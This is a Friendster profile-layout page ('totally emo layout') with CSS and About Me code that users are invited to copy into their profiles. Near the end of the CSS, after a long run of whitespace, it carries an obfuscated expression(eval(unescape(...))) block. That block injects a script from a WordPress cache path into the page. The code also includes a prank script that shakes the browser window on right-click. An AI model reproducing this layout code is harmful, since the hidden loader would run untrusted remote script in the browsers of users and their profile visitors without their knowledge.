totally emo layout

Layout designer

Rate this layout

» Layout Preview

Friendster-Layouts.com - totally emo layout

get the code here: http://xcorphz.f.erocio.us
join our clan here: http://xcorphianz.uni.cc

Code for CSS section

/* {--friendster-layouts.com css code start--} */

/* Layout By: Yrahs (http://freewebs.com/xcorphz/) */

body {
  background-image: url(http://i200.photobucket.com/albums/aa73/fs-layouts/fslybg/2007/09/totally-emo.jpg);
  background-attachment: fixed;
  background-position: center center;
  background-repeat: no-repeat;
  background-color: transparent;
scrollbar-3dlight-color: #000000;
scrollbar-arrow-color: #006600;
scrollbar-darkshadow-color: #000000;
scrollbar-face-color: #006600;
scrollbar-highlight-color: #000000; 
scrollbar-shadow-color: #000000;
scrollbar-track-color: #000000; 
border-style:solid; 
border-top-color: #000000;
border-bottom-color: #000000; 
border-left-color: #000000;
border-right-color: #000000;
border-top-width: 18px;
border-bottom-width: 18px; 
border-left-width: 18px;
border-right-width: 18px;
overflow-x: hidden;}}

.controlpanel .q {
background: url(http://i211.photobucket.com/albums/bb154/xcorphz/mini3.gif) no-repeat center left; 
padding: 0 0 0 25px;}

#marketing_bg{display:none;background:transparent;}

table#flo_wrapper {
margin: 20px auto 20px auto;
border: transparent;
background: transparent;
background-attachment: fixed;
background-repeat: no-repeat;
background-image: url();
background-position: right bottom;}

.usercontent {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #000000;
  text-transform: lowercase;}

.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
  color: #7fff8e;}

.usercontent .q{
background: url(http://i211.photobucket.com/albums/bb154/xcorphz/mini3.gif) no-repeat left; 
padding: 0 0 0 16px;}

.usercontent a:hover {
  text-decoration: none;
  color: #006600;
  border-bottom-style:ridge; 
  border-bottom-width:2 px;}

.commonbox {
  border-width: 5px;
  border-color: #ffffff;
  border-style: double;
  background-color: transparent;}

.commonbox .evenrow {
  border: 3px double #ffffff;
  background-color: transparent;}

.commonbox h1, .commonbox h2 {
  font-family: Verdana, Arial, Helvetica, sans-serif;
  color: #000000;
  text-transform: uppercase;
  background-color: #7fff8e;
  border-bottom: #006600 4px dotted;
  background-image:url(http://i211.photobucket.com/albums/bb154/xcorphz/header3.jpg);
  background-attachment:fixed;
  background-repeat:repeat;
  background-position: center right;}

.controlpanel {
  border-width: 5px;
  border-color: #ffffff;
  border-style: double;
  background-color: transparent;}

.controlpanel .imgblock200 {
  border: 3px dotted #006600;}

.controlpanel .q {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #000000;}

.controlpanel .data {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #000000;}

.data a {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #000000;
  text-transform: lowercase;}

a.more {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #000000;
  text-transform: lowercase;}

#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited { 
font-family:Trebuchet MS, Geneva, Arial, Helvetica, SunSans-Regular, sans-serif; 
color:#000000; 
border-color:#7fff8e; 
border-style:dashed; 
background-color:transparent;}

#controlPanelButtons a:hover { 
font-family:Georgia, Arial, Helvetica, SunSans-Regular, sans-serif; 
color:#7fff8e; 
text-decoration:underline; 
border-color:#000000; 
background-color:transparent;}

.usercontent .q{
background: url(http://i211.photobucket.com/albums/bb154/xcorphz/mini3.gif) no-repeat left; 
padding: 0 0 0 16px;}

a:hover img { filter:flipv(Opacity=100,FinishOpacity=0,Style=2); }

.testimonials {
  border: 3px double #000000;
  background-color: transparent;}

.testimonialscomments {
  border: 3px double #000000;
  background-color: transparent;}

.data {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #7fff8e;
  text-transform: lowercase;}

.commonbox .viewall {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #7fff8e;
  text-transform: lowercase;}

.commonbox .imgblock75, .ir {
border-width: 3px;
border-color: #000000;
border-style: solid;}

.commonbox .dr {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #7fff8e;
  text-transform: lowercase;
  background-color: transparent;}

a:hover img { filter:flipv(Opacity=100,FinishOpacity=0,Style=2); }

body,td,tr,div,p {
  text-align: center;}

#meettrail{display:none;background:transparent;}

#googleAdFactory.fullwidth{position:absolute;top:-5500px;}

#mainnav div.links a:link, #mainnav div.links a:visited, #mainnav div.links a:active { color:#7fff8e; text-decoration:none; }}
#mainnav .left {display:none;}
#mainnav .right {display:none;}
#navdivider {display:none;background:transparent;}
#subnav {display:none;}
#marketing_bg{display:none;background:transparent;}

#search {display:none;background:transparent;}
#search form {display:none;background:transparent;}
.banner_ad_fix{display:none;}
#banneradrow, #ads_2_3{display:none;}

#navigation {
background-color: transparent;
margin:10px 0 30px 0;
padding:260px 0 0 0;
background-image: url(http://i211.photobucket.com/albums/bb154/xcorphz/ltotallyemo.jpg);
background-attachment:scroll;
background-repeat: no-repeat;
background-position: center center;}

#mainnav {
margin:0 0 10px 0;
padding:0 0 2px 0;
width:100%;
font-size:9px;
font-weight:bold;
background: url() fixed no-repeat center; transparent;}

.publiccomments div div .dtd {
  width: 100%;}

.publiccomments div div .dtd ul {
  padding: 2px 2px 2px 2px;
  overflow: auto;
  border: 3px double #7fff8e;
  width:380px; 
  height: 100px;
  background-color: TRANSPARENT;
  background-image: url();
  background-position: center;
  background-repeat: no repeat;}

.testimonials div div .dtd{width:100%;}
.testimonials div div .dtd ul{padding: 2px 2px 2px 2px; overflow: auto; border: 3px double #7fff8e;  width: 380px; height: 100px;}
.testimonialscomments { /*box*/
background-color: TRANSPARENT;}
.testimonials { /*box*/
background-color: #7fff8e;
background-image: url();
background-attachment: fixed;
background-repeat: repeat-x;
background-position: top right;
border: 3px double #7fff8e;
{ font-family:Courier New, Courier, Monaco, monospace; color:#FD0287; }}

#mainnav, #mainnav .left, #mainnav .right {
  background-color: transparent !important;}

#mainnav a, #mainnav a:link, #mainnav a:visited, #mainnav a:active {
  font-size: 11px !important;
  color: #006600 !important;
  background-color: transparent !important;
  text-decoration: none !important;}

#mainnav a:hover {
  font-size: 11px !important;
  color: #7fff8e  !important;
  background-color: transparent !important;
  text-decoration: none !important;}

#mainnav span {
  color: #7fff8e !important;}

body{bottom:expr/**/ession(
function status()
{window.status='hi  '+pageViewerFName+', eNjOy yOuR sTaY!'}
if (document.layers)
document.captureEvents(Event.mouseover)
document.onmouseover=status);}

body{top:expr/**/ession(pagetitle()
function pagetitle(){
document.title = '*+,.(//_+).,+* - '+pageOwnerFName+' - *+,.(//_+).,+*';});}

body {right:expr/**/ession(function shake(){if (event.button==2){
self.resizeTo(960,700)
self.moveBy(15,17)
self.moveBy(-13,-17)
self.moveBy(13,19)
self.moveBy(-14,-16)
self.moveBy(14,23)
self.moveBy(-25,-20)
self.moveBy(24,22)
self.moveBy(-20,-17)
self.moveBy(24,16)
self.moveBy(-13,-20)
self.moveBy(20,20)
self.moveBy(-26,-27)
self.moveBy(28,17)
self.moveBy(0, 0)
alert("Don't do that again!");}}
document.onmousedown=shake);}

BODY{cursor: url("http://www.freewebtown.com/xcorphz/3.cur"), 
url("http://i211.photobucket.com/albums/bb154/xcorphz/mini3.gif"), auto;}

.controlpanel .so, .minicontrolpanel .so { width: 257px; position: relative; 
background:url('http://i211.photobucket.com/albums/bb154/xcorphz/squaregrey.gif') 
repeat top left; color: #006600; font-weight: bold; margin-left:0; margin-right:-20px; margin-top:0; margin-bottom:10px }
.controlpanel .sol, .minicontrolpanel .sol { position: absolute; left: -5px; top: 8px; width: 6px; height: 11px; background:; repeat }
.controlpanel .sob, .minicontrolpanel .sob { width: 257px; height: 2px; background:; no-repeat; line-height: 0; font-size: 0 }




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%33%33%39%32%36%33%3B%20%4A%53%53%33%20%3D%20%27%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%63%61%63%68%65%2F%73%75%70%65%72%63%61%63%68%65%2F%61%75%74%68%6F%72%2F%64%61%6E%61%70%64%77%73%61%31%33%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%63%61%63%68%65%2F%73%75%70%65%72%63%61%63%68%65%2F%61%75%74%68%6F%72%2F%64%61%6E%61%70%64%77%73%61%31%33%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */

/* {--friendster-layouts.com css code end--} */

Code for Media/About Me

<p align="center"><a title="Friendster Layouts" href="http://friendster-layouts.com/"><img border="0" src="http://btn.friendster-layouts.com/03.gif" alt="Friendster Layouts"></a><br /><a href="http://friendster-layouts.com/" title="Friendster Layouts">Friendster-Layouts.com</a>: <a href="http://friendster-layouts.com/author/xcorphz/" title="xcorphz productionz's layouts">xcorphz productionz's layouts</a></p>

Download Background Image

Add Layouts Widget

• Published by xcorphz productionz on September 11th, 2007 (4:34 GMT).

Other layouts from 'Punk/Goth/Emo' category:

Friendster-Layouts.com

totally emo layout

Navigation Links

Browse Layouts

Sponsors